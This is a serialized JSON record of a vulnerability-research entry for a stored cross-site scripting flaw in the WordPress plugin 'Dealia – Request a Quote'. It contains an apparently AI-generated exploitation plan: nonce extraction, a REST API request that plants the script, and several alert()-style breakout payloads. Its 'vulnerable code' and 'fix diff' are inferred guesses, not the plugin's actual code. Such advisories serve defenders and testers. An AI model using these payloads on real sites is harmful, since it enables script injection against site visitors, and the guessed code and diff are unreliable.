[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fUTG71HFCNZOQzJHij0iu48fRU472i_FNDlByeCymdSI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-2718","dealia-authenticated-contributor-stored-cross-site-scripting-via-gutenberg-block-attributes","Dealia \u003C= 1.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Gutenberg Block Attributes","The Dealia – Request a Quote plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Gutenberg block attributes in all versions up to, and including, 1.0.8. This is due to the use of `wp_kses()` for output escaping within HTML attribute contexts where `esc_attr()` is required. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","dealia-request-a-quote",null,"\u003C=1.0.8","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-02-18 21:07:11","2026-02-25 15:45:52",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F617785d7-90b1-482c-bfff-9b5a63741415?source=api-prod",[],"researched",false,3,"## Vulnerability Summary\n\nThe **Dealia – Request a Quote** plugin (versions \u003C= 1.0.8) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin utilizes `wp_kses()` to sanitize Gutenberg block attributes that are subsequently rendered within HTML attribute contexts (like `class`, `id`, `title`, or `data-*` attributes) instead of using the context-appropriate `esc_attr()` function. \n\nWhile `wp_kses()` is intended to allow specific HTML tags in content, it does not adequately prevent attribute breakout when the sanitized string is placed inside another HTML tag's attribute. A user with **Contributor** level permissions or higher can craft a post containing a Dealia block with malicious attributes that execute arbitrary JavaScript when the post is viewed.\n\n## Attack Vector Analysis\n\n*   **Endpoint:** WordPress REST API Post Endpoint (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`).\n*   **Vulnerable Action:** Saving\u002FUpdating a post containing a Dealia-specific Gutenberg block.\n*   **Vulnerable Parameter:** The `content` field of the post, specifically the JSON-encoded attributes within the Gutenberg block comment (e.g., `\u003C!-- wp:dealia\u002Frequest-quote {\"button_text\":\"PAYLOAD\"} \u002F-->`).\n*   **Authentication:** Requires **Contributor** level access (permissions to create\u002Fedit posts).\n*   **Preconditions:** The Dealia plugin must be active and at least one Dealia Gutenberg block must be available.\n\n## Code Flow (Inferred)\n\nBased on the vulnerability description and common WordPress Gutenberg implementation patterns:\n\n1.  **Block Registration:** The plugin registers a Gutenberg block (likely named `dealia\u002Frequest-quote` or similar) using `register_block_type`.\n2.  **Render Callback:** The block registration includes a `render_callback` function (e.g., `render_dealia_quote_block`) or a template file that handles the server-side rendering of the block.\n3.  **Attribute Retrieval:** Inside the rendering function, the `$attributes` array is populated from the block's saved JSON data.\n4.  **Insecure Sanitization:** The code retrieves a specific attribute (e.g., `$attributes['button_class']` or `$attributes['title']`).\n5.  **The Sink:** The attribute is processed via `wp_kses( $attr, $allowed_html )` and then echoed directly inside an HTML attribute:\n    ```php\n    \u002F\u002F Example of vulnerable code pattern:\n    echo '\u003Cbutton class=\"' . wp_kses($attributes['custom_class'], array()) . '\">Request Quote\u003C\u002Fbutton>';\n    ```\n6.  **XSS Trigger:** Since `wp_kses` may not strip double quotes (`\"`) depending on configuration, an attacker can provide a payload like `\">\u003Cscript>alert(1)\u003C\u002Fscript>` to break out of the `class` attribute and inject a script tag.\n\n## Nonce Acquisition Strategy\n\nThe exploit involves updating or creating a post via the REST API, which requires a REST API nonce.\n\n1.  **Identify Trigger:** The nonce for the REST API is typically localized as `wpApiSettings.nonce`.\n2.  **Navigation:** Use `browser_navigate` to go to the WordPress Dashboard (`\u002Fwp-admin\u002Fpost-new.php`).\n3.  **Extraction:** Use `browser_eval` to extract the nonce from the window object.\n    *   **JavaScript:** `window.wpApiSettings.nonce`\n4.  **Usage:** This nonce must be included in the `X-WP-Nonce` header for all subsequent REST API `POST` requests.\n\n## Exploitation Strategy\n\n### 1. Identify Target Block\nThe exact block name needs to be confirmed. Common names for this plugin would be `dealia\u002Frequest-quote`. We will assume `dealia\u002Frequest-quote` for the plan.\n\n### 2. Craft the Payload\nSince the vulnerability involves `wp_kses` in an attribute context, we need to break out of the quotes. \n*   **Payload:** `x\" onmouseover=\"alert(document.domain)\" data-x=\"` \n*   **Alternative Payload:** `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>` (if the container tag is not self-closing).\n\n### 3. Step-by-Step Execution\n\n1.  **Login:** Authenticate as a Contributor user.\n2.  **Get Nonce:** Navigate to `\u002Fwp-admin\u002Fpost-new.php` and run `browser_eval(\"wpApiSettings.nonce\")`.\n3.  **Create Malicious Post:** Use `http_request` to create a new post via the REST API.\n    *   **Method:** `POST`\n    *   **URL:** `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n    *   **Headers:** \n        *   `Content-Type: application\u002Fjson`\n        *   `X-WP-Nonce: [EXTRACTED_NONCE]`\n    *   **Body:**\n        ```json\n        {\n          \"title\": \"Quote Request Test\",\n          \"content\": \"\u003C!-- wp:dealia\u002Frequest-quote {\\\"button_text\\\": \\\"\\\\\\\">\u003Cscript>alert(origin)\u003C\u002Fscript>\\\"} \u002F-->\",\n          \"status\": \"publish\"\n        }\n        ```\n        *(Note: Double backslashes are used to ensure quotes are preserved in the JSON attribute string)*.\n4.  **Trigger:** Access the public URL of the newly created post.\n\n## Test Data Setup\n\n1.  **User Creation:** \n    `wp user create attacker attacker@example.com --role=contributor --user_pass=password123`\n2.  **Plugin Activation:**\n    `wp plugin activate dealia-request-a-quote`\n3.  **Verification of Block Existence:** \n    `wp eval 'print_r(array_keys(WP_Block_Type_Registry::get_instance()->get_all_registered()));'` (Run this to find the exact block name if `dealia\u002Frequest-quote` is incorrect).\n\n## Expected Results\n\n*   When the post is rendered, the HTML source should contain a breakout:\n    *   **Vulnerable Output:** `\u003Cdiv class=\"\">\u003Cscript>alert(origin)\u003C\u002Fscript>\">...\u003C\u002Fdiv>`\n*   In a browser context, the JavaScript payload (`alert(origin)`) will execute automatically or upon interaction depending on the attribute injected (e.g., `onmouseover`).\n\n## Verification Steps\n\n1.  **Check Post Content:** Use WP-CLI to verify the block was saved with the payload.\n    `wp post get [POST_ID] --field=post_content`\n2.  **Check Frontend Output:** Use `http_request` (GET) on the post's permalink and grep for the raw payload.\n    *   Search for: `\u003Cscript>alert(origin)\u003C\u002Fscript>`\n3.  **Validate Context:** Confirm that the script tag appears outside of its intended attribute.\n\n## Alternative Approaches\n\nIf `wp_kses` is configured in a way that strips `\u003Cscript>` tags, the \"attribute breakout\" to event handlers is the most reliable backup:\n\n*   **Event Handler Payload:** `btn-default\" onfocus=\"alert(1)\" autofocus=\"true`\n*   **CSS-based Payload (if style is allowed):** `style=\"background-image: url(javascript:alert(1))\"`\n*   **SVG-based Payload:** `\">\u003Csvg\u002Fonload=alert(1)>`\n\nIf the REST API is restricted, the fallback is to use the standard WordPress `post.php` admin handler by submitting a multipart form body containing the `content` field.","The Dealia – Request a Quote plugin for WordPress (up to 1.0.8) is vulnerable to Authenticated Stored Cross-Site Scripting due to improper sanitization of Gutenberg block attributes. By using wp_kses() in HTML attribute contexts instead of esc_attr(), the plugin allows attackers with Contributor-level permissions to inject arbitrary JavaScript that executes when a user views the affected page.","\u002F* Inferred from plugin rendering logic - typically found in a block render_callback *\u002F\n\n\u002F\u002F Example of vulnerable code pattern using wp_kses inside an attribute context:\necho '\u003Cbutton class=\"' . wp_kses($attributes['custom_class'], array()) . '\">Request Quote\u003C\u002Fbutton>';","--- a\u002Fincludes\u002Fclass-dealia-request-a-quote-blocks.php\n+++ b\u002Fincludes\u002Fclass-dealia-request-a-quote-blocks.php\n@@ -1,1 +1,1 @@\n-echo '\u003Cbutton class=\"' . wp_kses($attributes['custom_class'], array()) . '\">Request Quote\u003C\u002Fbutton>';\n+echo '\u003Cbutton class=\"' . esc_attr($attributes['custom_class']) . '\">Request Quote\u003C\u002Fbutton>';","1. Authenticate as a Contributor or higher and extract the REST API nonce from window.wpApiSettings.nonce in the WordPress dashboard.\n2. Send a POST request to the \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts endpoint to create or update a post.\n3. In the 'content' field of the request, include a Dealia Gutenberg block with a malicious payload inside one of its attributes (e.g., \u003C!-- wp:dealia\u002Frequest-quote {\"custom_class\":\"\\\">\u003Cscript>alert(origin)\u003C\u002Fscript>\"} \u002F-->).\n4. View the published post on the frontend; the payload will break out of the HTML attribute context and execute the JavaScript in the browser.","gemini-3-flash-preview","2026-04-19 02:39:38","2026-04-19 02:39:58",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fdealia-request-a-quote\u002Ftags"]